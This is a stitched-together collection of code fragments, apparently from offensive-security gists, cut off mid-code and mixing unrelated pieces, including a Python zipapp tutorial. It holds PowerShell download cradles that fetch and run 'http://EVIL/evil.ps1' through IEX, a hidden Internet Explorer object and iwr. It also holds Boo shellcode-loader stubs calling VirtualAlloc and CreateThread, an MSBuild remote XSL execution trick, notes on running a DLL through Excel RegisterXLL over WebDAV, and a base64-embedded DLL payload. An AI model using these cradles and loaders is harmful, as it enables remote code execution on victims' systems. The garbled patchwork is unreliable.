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from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives import hashes, padding
from cryptography.hazmat.primitives.asymmetric import ec
from cryptography.hazmat.primitives.kdf.hkdf import HKDF
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
from secrets import token_bytes


class DiffieHellman:
    def __init__(self):

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import System.Runtime.InteropServices
from System import IntPtr

[DllImport("kernel32.dll")]
def VirtualAlloc(lpStartAddr as int, size as int, flAllocationType as int, flProtect as int) as int:
    pass

[DllImport("kernel32.dll")]
def CreateThread(lpThreadAttributes as int, dwStackSize as int, lpStartAddress as int, param as int, dwCreationFlags as int, lpThreadId as int) as int:
    pass

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# normal download cradle
IEX (New-Object Net.Webclient).downloadstring("http://EVIL/evil.ps1")

# PowerShell 3.0+
IEX (iwr 'http://EVIL/evil.ps1')

# hidden IE com object
$ie=New-Object -comobject InternetExplorer.Application;$ie.visible=$False;$ie.navigate('http://EVIL/evil.ps1');start-sleep -s 5;$r=$ie.Document.body.innerHTML;$ie.quit();IEX $r

# Msxml2.XMLHTTP COM object

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using System;
using System.Collections.Generic;
using System.Linq;
using System.Reflection;
using System.Text;
using System.Threading.Tasks;

namespace TryCOMXSLLoad
{
    class Program

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<Project xmlns="http://schemas.microsoft.com/developer/msbuild/2003" ToolsVersion="4.0"> 
   <Target Name="Example">
      <ItemGroup>
        <XmlFiles Include="https://gist.githubusercontent.com/caseysmithrc/d6ef2fdffa6c054c6996b0f2fb7dd45d/raw/6ce40c15487d67df6771ff205de5ea8a8c6f29c0/customers.xml" />
      </ItemGroup>
      <PropertyGroup>
        <XslFile>https://gist.githubusercontent.com/caseysmithrc/d6ef2fdffa6c054c6996b0f2fb7dd45d/raw/48abcd2a9575e1e5db25596cbaa02f6066bbe9e2/script.xsl</XslFile>
      </PropertyGroup>
      <XslTransformation
         OutputPaths="output.%(XmlFiles.FileName).html"

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using System;
using System.Text;
using System.Reflection;
using System.Collections;
using System.IO;
using System.IO.Compression;
using Boo.Lang.Compiler;
using Boo.Lang.Compiler.IO;
using Boo.Lang.Compiler.Pipelines;

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import System
import System.Runtime.CompilerServices
import System.Runtime.InteropServices
import System.Runtime.InteropServices.ComTypes


public struct FILETIME:
    public dwLowDateTime as int
    public dwHighDateTime as int

byt3bl33d3r

DLL Execution via Excel.Application RegisterXLL() method

A DLL can be loaded and executed via Excel by initializing the Excel.Application COM object and passing a DLL to the RegisterXLL method. The DLL path does not need to be local, it can also be a UNC path that points to a remote WebDAV server.

When delivering via WebDAV, it should be noted that the DLL is still written to disk but the dropped file is not the one loaded in to the process. This is the case for any file downloaded via WebDAV, and they are stored at: C:\Windows\ServiceProfiles\LocalService\AppData\Local\Temp\TfsStore\Tfs_DAV\.

The RegisterXLL function expects an XLL add-in which is essentially a specially crafted DLL with specific exports. More info on XLL's can be found on MSDN

The XLL can also be executed by double-clicking the .xll file, however there is a security warning. @rxwx has more notes on this here inc

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function Invoke-LetMeIn
{
    $BooLangDLL = @'
vH0HfJRF+v/MvJvdzW4CbMpuIEBCCSyhBQiwJIGEZkGwYCEBC1UBlcUEEAiL9BAICIiKqKiIDVE5KyBnRUVFxXY2sJ9nO8/zvDvvzh/+nzJv2d0k5F/uz4c8+37nmfrMM8+Ud2becRM3CUMI4YK/334TYp/gfxXi5P+WwV+rvAOtxKOpr3XaJ8e+1um8mbNq8udWRy+rnnJl/rQpc+ZE5+VPnZFfPX9O/qw5+aPOOjf/yuj0GX3S031ddRxnjxZirDTi4v1UqE5+6RUiSwnhZbePB8BzPmZMce7wWXG+hbB/xTJF7kvTDChXxWoh2tB/+9f6oX+bIN4zBMfrdYnkf5OVSGuBLJL+5VtZp39ewKc5cJ95MxbOg98vM3W5sjjfCVFM7lNdUz0Nw7s4j8INv8F4jxXwv0/1jCui4DFN55niap/kb0RiNp8ZwH4wb0qkiPPeFiIyWYrUBH/vvMX1fbJ/mUVStIJfKURALAXq8kXQ3V0oRC7wusbzhFqGv0Y0qqBkxylVNzmJY4WyDebJIzLbcXZmq5oUIXwxrHYVBkFAcCMGuuMqhHQNUUhlEAFV68K43X61BB88RhhcffMg1lx3GGhPn9tT8fFvv/1WKE4SztVkuFwI9waEM7AsqhazdBSec8MeCJIholD3viFYGe670Nkf2YUlYI9RKI0v6gOSHhkErhlG2A8gzTsfvQ7pYvu0o/RG05ByZMcncKh0cCp5CjJ0vBU5nAiCfHKjAHzHVC0KBsQqema6Aq4GijqEMduRamd8dgdcfqooT6FguZeKsXVUlSSjUWYFG65oa0w2A56rQShzXUYY/PtqAkAWc7bBD+aW5UlS4EdXFEL5CofZlZeClZdZpMQpgtpwAL2ioz+YFsnD7Hi3+9zz3Zh5liY+pkfawrM3VJnm9WycVf4+SCBLMzCLqYVjVE1H1BS3pSmFF0DEbspbTRaKPxtIt0LSV8Cg+VSP6CMKU

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Python zipapp web apps

What's a zipapp?

This concept is very much like .jar or .war archives in Java.

NOTE: The built .pyz zipapp can run on both Python 2 & 3 but you can only build .pyz zipapps with Python 3.5 or later.

Initial setup